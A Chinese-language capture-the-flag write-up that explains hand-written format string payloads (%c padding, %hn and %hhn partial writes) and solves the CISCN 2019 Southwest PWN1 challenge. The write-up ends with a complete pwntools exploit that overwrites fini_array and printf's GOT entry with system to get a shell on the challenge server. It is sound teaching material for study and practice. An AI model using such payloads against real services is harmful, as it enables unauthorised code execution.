漏洞分析
万万没想到直到学习了pwn五个月以后 我才开始学习手写格式化字符串payload 先前都是习惯利用了fmstr_payload来构造了 但是直到遇到了一道题 要在一次格式化字符漏洞中 利用两次 fmstr_payload构造出来的payload无法达到预期的攻击效果 所以只能自己手写了
来复习一下格式化字符串任意写漏洞的原理
利用了%n可以根据已经输出的字节修改对应偏移处地址的值
不过先前我们学习过的任意写 只是简单的将一个地址处的值修改为个位数大小 所需要的字节数很小 如果我们想要修改got表的值为后门函数呢 这要如何实现 总不可能传输同等大小的字节数吧
这时候引入一个新的格式化字符 %c 其有什么效果呢 我们编写下面一段小程序
1 2 3 4 5
| #include <stdio.h> int main(){ char a[20]="test"; printf("%c",a[0]); }
|
%c 可以输出单个字符 所以此时的运行结果应该是单个字符t

如果像%s之类的格式化字符 在前面加上数字呢 又有什么效果?
1 2 3 4 5
| #include <stdio.h> int main(){ char a[20]="test"; printf("%10c",a[0]); }
|

可以看到最后的结果在实际输出的字符t前面 还加上了9字节的\x00 也就是会自动补全我们输出的字符
而其占用的字节数也很小 哪怕是%0x10000c 所占用的字节数也只为9
这就使得哪怕题目限制了我们利用格式化字符漏洞的payload的字节数 我们仍然可以保证任意写的攻击
但是这仍然不够完美 我们还有没有更好的办法来修改got表这样的地址其值
我们来看一下函数的got表 在32位情况下 其存储的值是如何占用这四个字节

可以看到是小端序存储 并且一个字节对应着两个数字
那么比如说printf函数中的got表 高位的0x08 对应的地址为0x804989c + 3
如果我们只需要修改高位的值 就可以往这个地址写入单字节 利用 ‘h’来构造格式化字符
1 2
| payload = "%"+str(要修改的值).encode()+"c%偏移$hhn" payload += p64(地址)
|
实例分析
下面利用一道国赛题来帮助理解
[CISCN 2019西南]PWN1
查看一下保护机制

没有开启Partical RELRO 或者是Full RELRO 那么可以fini_array处就有可写的权限
ida看一下伪代码
1 2 3 4 5 6 7 8 9 10 11 12
| int __cdecl main(int argc, const char **argv, const char **envp) { char format[68];
setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to my ctf! What's your name?"); __isoc99_scanf("%64s", format); printf("Hello "); printf(format); return 0; }
|
同时还提供了system函数
只有一次格式化字符串的机会 既然可以修改fini_array 那么我们首先想到的就是利用格式化字符串漏洞 将fini_array修改为main函数的地址
不过实际攻击效果和我预期的有点不一样 在第二次执行完main函数以后就没有办法再次返回了 估计是栈空间不够的锅 那没办法 就只能在第一次格式化字符串的时候就同时修改fini_array和printf函数的got表
就是这里 利用fmstr_payload构造出来的payload无法达到预期的攻击效果 所以我们采用手写的方式
首先是计算一下偏移 这个就不详细展开了 最后发现的偏移是4
1 2 3 4 5 6 7 8 9 10 11 12
| fini_addr = 0x804979C main_addr = 0x8048534 printf_got = 0x804989c system_addr = 0x80483d0 payload = b'%'+str(0x0804).encode()+b'c%15$hn' payload += b'%16$hn' payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn' payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa' payload += p32(fini_addr+2) payload += p32(printf_got+2) payload += p32(printf_got) payload += p32(fini_addr)
|
首先我们要清楚一点 如果单次格式化字符利用想要修改多个地址值 那么后面需要修改的值一定是要大于前面的
因为前面%c输出的空字符 也算到后面的总字节数里面的 为了防止修改的值超出预期 所以需要把较大的数值安排到后面
还有一点是为什么要用str().encode()的形式 是因为python3 byte型和字符型的要求
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* from LibcSearcher import*
io = remote("1.14.71.254",28573) context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] context.arch = "i386" elf = ELF("./pwn") def debug(): gdb.attach(io) pause()
fini_addr = 0x804979C main_addr = 0x8048534 printf_got = 0x804989c system_addr = 0x80483d0 io.recvuntil("Welcome to my ctf! What's your name?") payload = b'%'+str(0x0804).encode()+b'c%15$hn' payload += b'%16$hn' payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn' payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa' payload += p32(fini_addr+2) payload += p32(printf_got+2) payload += p32(printf_got) payload += p32(fini_addr) print(len(payload)) io.sendline(payload) io.recvuntil("Welcome to my ctf! What's your name?") payload = b'/bin/sh' io.sendline(payload) io.interactive()
|